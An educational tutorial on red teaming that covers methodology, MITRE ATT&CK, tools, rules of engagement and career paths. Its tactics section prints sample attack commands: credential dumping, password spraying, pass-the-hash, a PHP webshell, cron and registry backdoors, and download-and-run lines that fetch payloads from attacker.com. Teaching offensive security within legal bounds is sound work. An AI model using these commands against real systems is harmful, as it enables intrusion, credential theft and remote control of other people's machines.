What is a Red Team

A Red Team is an independent group that challenges an organization's security posture by simulating real-world attacks. Unlike traditional penetration testing, red teaming is a comprehensive adversarial assessment that tests not just technical controls, but also people, processes, and detection capabilities. Think of them as the "ethical adversary"—they use the same tactics, techniques, and procedures (TTPs) as actual threat actors to expose weaknesses before real attackers do.

What You'll Learn

• Definition and purpose of red teaming
• Red team vs. penetration testing
• Red team methodology and tactics
• MITRE ATT&CK framework
• Tools and techniques used by red teams
• Career paths in offensive security
• Real-world red team operations

Red Team vs. Penetration Testing

While related, these are distinct activities:

Simple Analogy:

• Pentesting: "How many ways can I break into this building?"
• Red Teaming: "Can I break in, steal the crown jewels, and escape without being caught?"

The Purpose of Red Teaming

Primary Objectives:

1. Test Detection Capabilities

   • Can the SOC/Blue Team detect the attack?
   • How long does it take to detect?
   • What gets detected, what doesn't?

2. Validate Security Controls

   • Do firewalls, IDS/IPS, EDR actually work?
   • Are security policies effective?
   • Can multi-layered defenses be bypassed?

3. Improve Incident Response

   • How does the organization respond to a breach?
   • Communication and escalation procedures
   • Recovery effectiveness

4. Identify Unknown Weaknesses

   • "Unknown unknowns" that traditional testing misses
   • Creative attack vectors
   • Human vulnerabilities

5. Executive Awareness

   • Demonstrate realistic risk to leadership
   • Justify security investments
   • Drive cultural change

When to Use Red Teaming:

✅ Good fit:

• Mature security programs
• Organizations that have done basic pentesting
• Need to test detection and response
• High-value targets (financial, critical infrastructure)
• Compliance requirements (financial sector)

❌ Not appropriate:

• Organizations with immature security
• No security operations center (SOC)
• Can't handle realistic scenarios
• Budget/time constraints

Red Team Methodology

The Kill Chain (Lockheed Martin)

Red teams often follow this attack lifecycle:

1. Reconnaissance

   • Gather information about the target
   • OSINT (Open Source Intelligence)
   • Identify attack surface

2. Weaponization

   • Create malicious payloads
   • Package exploits
   • Prepare delivery mechanisms

3. Delivery

   • Send phishing emails
   • Host malicious websites
   • Physical drops (USB drives)

4. Exploitation

   • Execute code on target system
   • Exploit vulnerabilities
   • Social engineering

5. Installation

   • Install backdoor/implant
   • Establish persistence
   • Create command & control channel

6. Command and Control (C2)

   • Remote access to compromised system
   • Exfiltrate data
   • Lateral movement

7. Actions on Objectives

   • Achieve mission goals
   • Steal data, disrupt operations
   • Document everything

MITRE ATT&CK Framework

Red teams use the ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge) framework to model adversary behavior.

The 14 Tactics:

1. Reconnaissance      → Gather information
2. Resource Development → Acquire infrastructure
3. Initial Access      → Get a foothold
4. Execution           → Run malicious code
5. Persistence         → Maintain access
6. Privilege Escalation → Get higher permissions
7. Defense Evasion     → Avoid detection
8. Credential Access   → Steal passwords/tokens
9. Discovery           → Learn about environment
10. Lateral Movement   → Move through network
11. Collection         → Gather target data
12. Command & Control  → Communicate with implants
13. Exfiltration       → Steal data
14. Impact             → Disrupt/destroy

Example Techniques:

Initial Access:

• T1566.001 - Spearphishing Attachment
• T1190 - Exploit Public-Facing Application
• T1078 - Valid Accounts

Persistence:

• T1053.005 - Scheduled Task
• T1543.003 - Windows Service
• T1098 - Account Manipulation

Credential Access:

• T1003 - OS Credential Dumping
• T1056.001 - Keylogging
• T1110 - Brute Force

Explore the full matrix: attack.mitre.org

Red Team Tactics and Techniques

1. Initial Access

Phishing Campaigns

# Tools: Gophish, Social Engineering Toolkit (SET)

# Create convincing phishing email
# Clone legitimate website
# Host payload
# Track clicks and credential capture

Example Scenarios:

• "IT Department: Update your password"
• "HR: Review your benefits (PDF attached)"
• "CEO: Urgent financial matter"

External Exploitation

# Scan for vulnerabilities
nmap -sV -sC target.com

# Exploit web application
# SQL injection, RCE, file upload

# Public-facing services
# VPN, email, remote desktop

Physical Access

• Tailgating into building
• Cloning RFID badges
• Planting rogue devices (Raspberry Pi)
• Dumpster diving for credentials

2. Credential Harvesting

Password Spraying

# Try common passwords against many accounts
# Avoid account lockouts (go slow!)

# CrackMapExec
crackmapexec smb 10.0.0.0/24 -u users.txt -p 'Summer2024!'

# Avoid detection: 1 password across all users

Credential Dumping

# Mimikatz - Extract credentials from memory
mimikatz # sekurlsa::logonpasswords

# Dump SAM database
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive

# Linux - /etc/shadow
sudo cat /etc/shadow

Kerberoasting

# Request service tickets for accounts with SPNs
# Crack offline (no account lockout risk!)

GetUserSPNs.py -request -dc-ip 10.0.0.1 domain/user
hashcat -m 13100 tickets.txt rockyou.txt

3. Lateral Movement

Moving from one compromised system to others:

Pass-the-Hash

# Use NTLM hash without cracking password
pth-winexe -U Administrator%aad3b435b51404eeaad3b435b51404ee:hash //10.0.0.5 cmd

PSExec / WMI / WinRM

# Remote code execution
psexec.py domain/user:[email protected]

# Windows Remote Management
evil-winrm -i 10.0.0.5 -u admin -p password

RDP Hijacking

# Hijack active RDP sessions
query user
tscon [session_id] /dest:[your_session]

4. Persistence Mechanisms

Scheduled Tasks

# Windows
schtasks /create /tn "WindowsUpdate" /tr "C:\backdoor.exe" /sc daily

# Linux cron
echo "* * * * * /tmp/.hidden/shell.sh" | crontab -

Registry Keys

# Run key persistence
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Updater /d "C:\backdoor.exe"

Webshells

// Simple PHP webshell
<?php system($_GET['cmd']); ?>

// Upload to web server
// Access: https://target.com/images/logo.php?cmd=whoami

5. Privilege Escalation

Linux

# SUID binaries
find / -perm -4000 2>/dev/null

# Sudo misconfigurations
sudo -l

# Kernel exploits
searchsploit linux kernel $(uname -r)

Windows

# PowerUp enumeration
powershell -ep bypass
Import-Module PowerUp.ps1
Invoke-AllChecks

# Common vectors:
# - Unquoted service paths
# - Weak service permissions
# - AlwaysInstallElevated
# - Token impersonation

6. Defense Evasion

Antivirus Bypass

# Obfuscate payloads
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10

# In-memory execution (PowerShell)
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')

# Process injection
# DLL sideloading
# Code signing (stolen certificates)

Living off the Land (LOLBins)

Use built-in Windows tools:

# Download file
certutil -urlcache -f http://attacker.com/tool.exe tool.exe

# Execute scripts
mshta http://attacker.com/payload.hta

# Data exfiltration
bitsadmin /transfer mydownload http://attacker.com/data.txt C:\data.txt

7. Command and Control (C2)

Popular C2 Frameworks:

Cobalt Strike 🥇

• Commercial red team platform
• Beacon implants
• Malleable C2 profiles (customize traffic)
• Team collaboration features

Metasploit Framework

# Start handler
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set LHOST your-ip
set LPORT 443
exploit

# Meterpreter commands
sysinfo
getuid
hashdump
screenshot

Empire / Starkiller

• PowerShell-based
• Python for Linux
• GUI interface (Starkiller)

Covenant

• .NET C2 framework
• Web-based interface
• Focus on Windows environments

Sliver

# Modern, open-source C2
# Created by BishopFox
# Multi-platform (Windows, Linux, Mac)

# Generate implant
sliver > generate --http example.com --save /tmp/

# Start HTTP listener
sliver > http

Red Team Tools

Essential Toolkit:

Reconnaissance

• theHarvester - Email, subdomain enumeration
• recon-ng - Recon framework
• Shodan - Internet-wide scanning
• Maltego - OSINT and link analysis

Initial Access

• Gophish - Phishing framework
• Social Engineering Toolkit (SET) - Phishing, credential harvesting
• evilginx2 - Advanced phishing (MFA bypass)

Exploitation

• Metasploit - Exploitation framework
• Exploit-DB / searchsploit - Exploit database
• Burp Suite Professional - Web app testing

Post-Exploitation

• Mimikatz - Credential extraction
• BloodHound - Active Directory mapping
• Impacket - Python tools for Windows protocols
• CrackMapExec - Network exploitation

Persistence

• Empire - PowerShell post-exploitation
• Cobalt Strike - Professional C2
• Custom backdoors and implants

Evasion

• Veil - Payload generator (AV evasion)
• Shellter - Dynamic PE infector
• Donut - Shellcode generation

Privilege Escalation

• LinPEAS / WinPEAS - Automated enumeration
• PowerUp - Windows privilege escalation
• BeRoot - Cross-platform priv esc checker

Red Team Rules of Engagement (ROE)

Critical document defining boundaries:

Must Include:

1. Scope

   • What systems are in-scope
   • What is explicitly out-of-scope
   • Physical locations allowed

2. Objectives

   • Primary goals (e.g., "Access CEO's email")
   • Success criteria
   • Flag locations

3. Restrictions

   • No destructive actions (unless approved)
   • No testing production databases
   • Avoid DoS conditions
   • Legal boundaries

4. Communication

   • Emergency contact (24/7)
   • Escalation procedures
   • Deconfliction process

5. Timeline

   • Start and end dates
   • Testing hours (business hours only?)
   • Blackout dates

6. Legal Protections

   • Written authorization
   • NDA (Non-Disclosure Agreement)
   • Liability limitations

Example Scenario:

Objective: Access the "Crown Jewels" database containing customer PII

In-Scope:

• All corporate networks (10.0.0.0/8)
• Public-facing web applications
• Social engineering (email only)
• Physical access to main office

Out-of-Scope:

• Production financial systems
• Healthcare data (HIPAA compliance)
• Partner/vendor networks
• Destructive attacks

Restrictions:

• No ransomware or data destruction
• No actual data exfiltration (use dummy files)
• Inform immediately if accessing healthcare data

Red Team vs. Blue Team vs. Purple Team

Red Team (Offensive)

• Simulates attackers
• Finds weaknesses
• Tests detection

Blue Team (Defensive)

• Monitors and defends
• Detects attacks
• Responds to incidents

Purple Team (Collaborative)

• Red and Blue work together
• Knowledge sharing
• Improve both offense and defense
• Continuous improvement cycle

Purple Team Exercise:

1. Red Team: "We're going to use Mimikatz to dump credentials"
2. Blue Team: "Okay, we'll monitor for that specific behavior"
3. Red Team: Executes attack
4. Blue Team: Attempts detection
5. Both: Discuss what was detected, what wasn't, how to improve

Career Path: Becoming a Red Teamer

Required Skills:

Technical:

• 🔴 Deep understanding of Windows/Linux internals
• 🔴 Networking (routing, firewalls, protocols)
• 🔴 Programming/Scripting (Python, PowerShell, C#)
• 🔴 Web application security
• 🔴 Active Directory exploitation
• 🔴 Evasion techniques

Soft Skills:

• 📝 Report writing
• 🗣️ Communication with executives
• 🤝 Teamwork
• 🧠 Creative problem-solving
• ⏰ Time management

Typical Path:

1. Start with basics (1-2 years)

   • Learn networking, Linux, Windows
   • Complete beginner certifications (Security+)
   • Build home lab

2. Penetration testing (2-3 years)

   • Get OSCP or similar
   • Work as pentester
   • Learn real-world scenarios

3. Specialize (1-2 years)

   • Focus on AD attacks, web, or cloud
   • Advanced certifications (OSEP, CRTO)
   • Contribute to community

4. Red Team (3+ years experience)

   • Join red team
   • Perform adversary simulations
   • Develop custom tooling

Recommended Certifications:

Entry:

• OSCP (Offensive Security Certified Professional)
• eJPT (eLearnSecurity Junior Penetration Tester)
• PNPT (Practical Network Penetration Tester)

Intermediate:

• CRTP (Certified Red Team Professional)
• CRTO (Certified Red Team Operator)
• OSEP (Offensive Security Experienced Penetration Tester)

Advanced:

• OSCE3 (Offensive Security Certified Expert)
• GXPN (GIAC Exploit Researcher and Advanced Penetration Tester)
• CRTL (Certified Red Team Lead)

Real-World Red Team Examples

Success Stories:

Financial Institution:

• Goal: Access customer database
• Method: Phishing → Lateral movement → Domain Admin
• Result: Reached database in 48 hours, undetected for 3 weeks
• Improvement: Implemented EDR, improved email filtering

Government Agency:

• Goal: Physical access to secure facility
• Method: Tailgated, cloned badge, planted device
• Result: Complete network access from "secure" location
• Improvement: Upgraded physical access controls, security awareness

Technology Company:

• Goal: Compromise developer workstation
• Method: Watering hole attack on internal site
• Result: Accessed source code repository
• Improvement: Network segmentation, code signing

Try It Yourself

Home Lab Setup:

1. Build a vulnerable environment:

# Download VulnHub VMs or HackTheBox retired machines
# Set up Windows Domain:
# - Domain Controller
# - 2-3 Windows 10 clients
# - Linux server

2. Practice attack paths:

   • Start with low-privilege user
   • Escalate to Domain Admin
   • Document your methodology

3. Simulate C2:

# Set up Sliver C2 framework
# Generate implants
# Practice beacon commands

Beginner Exercises:

1. OSINT on yourself: What can an attacker learn about you?
2. Phishing simulation: Create fake login page (ethical use only!)
3. Credential attacks: Practice password spraying in lab
4. Lateral movement: PSExec between lab VMs
5. Persistence: Create scheduled task backdoor

Platforms for Practice:

• HackTheBox: Pro Labs simulate corporate networks
• TryHackMe: Red team learning paths
• PentesterLab: Web application and AD exercises
• RangeForce: Enterprise simulation
• AttackIQ: Commercial adversary emulation

Resources

Books:

• "Red Team Development and Operations" by Joe Vest & James Tubberville
• "Operator Handbook" by Joshua Picolet
• "Adversarial Tradecraft in Cybersecurity" by Dan Borges

Training:

• Red Team Ops (RTO) by Zero-Point Security
• Adversary Tactics by SpecterOps
• SANS SEC564: Red Team Operations
• Red Team Basics for Builders - Offensive thinking applied to your own systems before someone else does
• Thinking Like an Attacker - Switching perspectives to find weaknesses in your own code

Blogs & Resources:

• MITRE ATT&CK
• Red Team Notes
• PayloadsAllTheThings
• HackTricks

Tools Collections:

• Red Teaming Toolkit
• Awesome Red Teaming

Next Steps

1. Next lesson: Learn about Blue Team defensive operations
2. Set up a lab: Practice safely in isolated environments
3. Study MITRE ATT&CK: Learn adversary techniques
4. Join communities: Discord servers, Reddit, LinkedIn, Bluesky, Mastodon, and X infosec communities
5. Practice ethically: Never attack systems without permission

Remember: Red teamers are the "good bad guys"—we simulate attacks to make organizations more secure. Always operate within legal and ethical boundaries!

"If you know the enemy and know yourself, you need not fear the result of a hundred battles." - Sun Tzu (The Red Team motto)